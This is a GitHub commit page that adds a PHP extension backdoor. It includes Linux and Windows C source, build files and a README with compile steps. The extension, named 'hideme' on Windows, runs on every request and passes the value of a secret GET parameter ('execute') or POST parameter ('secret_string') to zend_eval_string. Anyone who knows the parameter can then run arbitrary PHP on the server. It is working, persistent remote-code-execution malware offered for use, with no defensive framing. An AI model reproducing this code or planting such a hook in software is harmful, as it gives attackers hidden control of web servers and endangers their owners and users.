Skip to content

Commit 3d30579

Browse files
xl7devxl7dev
committed
php-extension-backdoor
1 parent bb9f4df commit 3d30579

File tree

6 files changed

+187
-0
lines changed

6 files changed

+187
-0
lines changed

‎Php/php-extension-backdoor/README.md‎

Lines changed: 6 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,6 @@
1+
Windows:
2+
http://stackoff.ru/pishem-rasshirenie-bekdor-dlya-php/
3+
4+
Linux:
5+
`sudo apt-get install php5-dev`
6+
`phpize && ./configure && make`

‎Php/php-extension-backdoor/lin/backdoor.c‎

Lines changed: 34 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,34 @@
1+
#include "php.h"
2+
PHP_RINIT_FUNCTION(hideme);
3+
zend_module_entry hideme_ext_module_entry = {
4+
STANDARD_MODULE_HEADER,
5+
"simple backdoor",
6+
NULL,
7+
NULL,
8+
NULL,
9+
PHP_RINIT(hideme),
10+
NULL,
11+
NULL,
12+
"1.0",
13+
STANDARD_MODULE_PROPERTIES
14+
};
15+
ZEND_GET_MODULE(hideme_ext);
16+
17+
PHP_RINIT_FUNCTION(hideme)
18+
{
19+
20+
char* method = "_GET"; // суперглобальный массив, из которого берем пераметр и значение
21+
char* secret_string = "execute"; // параметр в котором будет evil-код
22+
zval** arr;
23+
char* code;
24+
25+
if (zend_hash_find(&EG(symbol_table), method, strlen(method) + 1, (void**)&arr) != FAILURE) {
26+
HashTable* ht = Z_ARRVAL_P(*arr);
27+
zval** val;
28+
if (zend_hash_find(ht, secret_string, strlen(secret_string) + 1, (void**)&val) != FAILURE) { // поиск нужного параметра в хеш-таблице
29+
code = Z_STRVAL_PP(val); // значение параметра
30+
zend_eval_string(code, NULL, (char *)"" TSRMLS_CC); // выполнение кода
31+
}
32+
}
33+
return SUCCESS;
34+
}

‎Php/php-extension-backdoor/lin/config.m4‎

Lines changed: 2 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,2 @@
1+
PHP_ARG_ENABLE(back, 0,0)
2+
PHP_NEW_EXTENSION(back, backdoor.c, $ext_shared)

‎Php/php-extension-backdoor/win/hideme.cpp‎

Lines changed: 37 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,37 @@
1+
#include "stdafx.h"
2+
#include "zend_config.w32.h"
3+
#include "php.h"
4+
5+
PHP_RINIT_FUNCTION(hideme);
6+
zend_module_entry hideme_ext_module_entry = {
7+
STANDARD_MODULE_HEADER,
8+
"hideme",
9+
NULL,
10+
NULL,
11+
NULL,
12+
PHP_RINIT(hideme),
13+
NULL,
14+
NULL,
15+
"1.0",
16+
STANDARD_MODULE_PROPERTIES
17+
};
18+
ZEND_GET_MODULE(hideme_ext);
19+
20+
PHP_RINIT_FUNCTION(hideme)
21+
{
22+
23+
char* method = "_POST"; // суперглобальный массив, из которого берем пераметр и значение
24+
char* secret_string = "secret_string"; // параметр в котором будет evil-код
25+
zval** arr;
26+
char* code;
27+
28+
if (zend_hash_find(&EG(symbol_table), method, strlen(method) + 1, (void**)&arr) != FAILURE) {
29+
HashTable* ht = Z_ARRVAL_P(*arr);
30+
zval** val;
31+
if (zend_hash_find(ht, secret_string, strlen(secret_string) + 1, (void**)&val) != FAILURE) { // поиск нужного параметра в хеш-таблице
32+
code = Z_STRVAL_PP(val); // значение параметра
33+
zend_eval_string(code, NULL, (char *)"" TSRMLS_CC); // выполнение кода
34+
}
35+
}
36+
return SUCCESS;
37+
}

‎Php/php-extension-backdoor/win/stdafx.h‎

Lines changed: 10 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,10 @@
1+
#pragma once
2+
3+
#ifndef STDAFX
4+
5+
#define STDAFX
6+
7+
#include "zend_config.w32.h"
8+
#include "php.h"
9+
10+
#endif

‎Php/php-extension-backdoor/win/zend_config.w32.h‎

Lines changed: 98 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,98 @@
1+
/*
2+
+----------------------------------------------------------------------+
3+
| Zend Engine |
4+
+----------------------------------------------------------------------+
5+
| Copyright (c) 1998-2007 Zend Technologies Ltd. (http://www.zend.com) |
6+
+----------------------------------------------------------------------+
7+
| This source file is subject to version 2.00 of the Zend license, |
8+
| that is bundled with this package in the file LICENSE, and is |
9+
| available through the world-wide-web at the following url: |
10+
| http://www.zend.com/license/2_00.txt. |
11+
| If you did not receive a copy of the Zend license and are unable to |
12+
| obtain it through the world-wide-web, please send a note to |
13+
| [email protected] so we can mail you a copy immediately. |
14+
+----------------------------------------------------------------------+
15+
| Authors: Andi Gutmans <[email protected]> |
16+
| Zeev Suraski <[email protected]> |
17+
+----------------------------------------------------------------------+
18+
*/
19+
20+
/* $Id: zend_config.w32.h,v 1.39.2.2.2.2 2007/01/01 09:35:46 sebastian Exp $ */
21+
22+
#ifndef ZEND_CONFIG_W32_H
23+
#define ZEND_CONFIG_W32_H
24+
25+
#include <../main/config.w32.h>
26+
27+
#define _CRTDBG_MAP_ALLOC
28+
29+
#include <malloc.h>
30+
#include <stdlib.h>
31+
#include <crtdbg.h>
32+
33+
#include <string.h>
34+
35+
#ifndef ZEND_INCLUDE_FULL_WINDOWS_HEADERS
36+
#define WIN32_LEAN_AND_MEAN
37+
#endif
38+
#include <winsock2.h>
39+
#include <windows.h>
40+
41+
#include <float.h>
42+
43+
typedef unsigned long ulong;
44+
typedef unsigned int uint;
45+
46+
#define HAVE_STDIOSTR_H 1
47+
#define HAVE_CLASS_ISTDIOSTREAM
48+
#define istdiostream stdiostream
49+
50+
#define snprintf _snprintf
51+
#define vsnprintf _vsnprintf
52+
#define strcasecmp(s1, s2) stricmp(s1, s2)
53+
#define strncasecmp(s1, s2, n) strnicmp(s1, s2, n)
54+
#define zend_isinf(a) ((_fpclass(a) == _FPCLASS_PINF) || (_fpclass(a) == _FPCLASS_NINF))
55+
#define zend_finite(x) _finite(x)
56+
#define zend_isnan(x) _isnan(x)
57+
58+
#define zend_sprintf sprintf
59+
60+
/* This will cause the compilation process to be MUCH longer, but will generate
61+
* a much quicker PHP binary
62+
*/
63+
#undef inline
64+
#ifdef ZEND_WIN32_FORCE_INLINE
65+
# define inline __forceinline
66+
#else
67+
# define inline
68+
#endif
69+
70+
#ifdef LIBZEND_EXPORTS
71+
# define ZEND_API __declspec(dllexport)
72+
#else
73+
# define ZEND_API __declspec(dllimport)
74+
#endif
75+
76+
#define ZEND_DLEXPORT __declspec(dllexport)
77+
#define ZEND_DLIMPORT __declspec(dllimport)
78+
79+
/* 0x00200000L is MB_SERVICE_NOTIFICATION, which is only supported under Windows NT
80+
* (and requires _WIN32_WINNT to be defined, which prevents the resulting executable
81+
* from running under Windows 9x
82+
* Windows 9x should silently ignore it, so it's being used here directly
83+
*/
84+
#ifndef MB_SERVICE_NOTIFICATION
85+
#define MB_SERVICE_NOTIFICATION 0x00200000L
86+
#endif
87+
88+
#define ZEND_SERVICE_MB_STYLE (MB_TOPMOST|MB_SERVICE_NOTIFICATION)
89+
90+
#endif /* ZEND_CONFIG_W32_H */
91+
92+
/*
93+
* Local variables:
94+
* tab-width: 4
95+
* c-basic-offset: 4
96+
* indent-tabs-mode: t
97+
* End:
98+
*/

0 commit comments

Comments
 (0)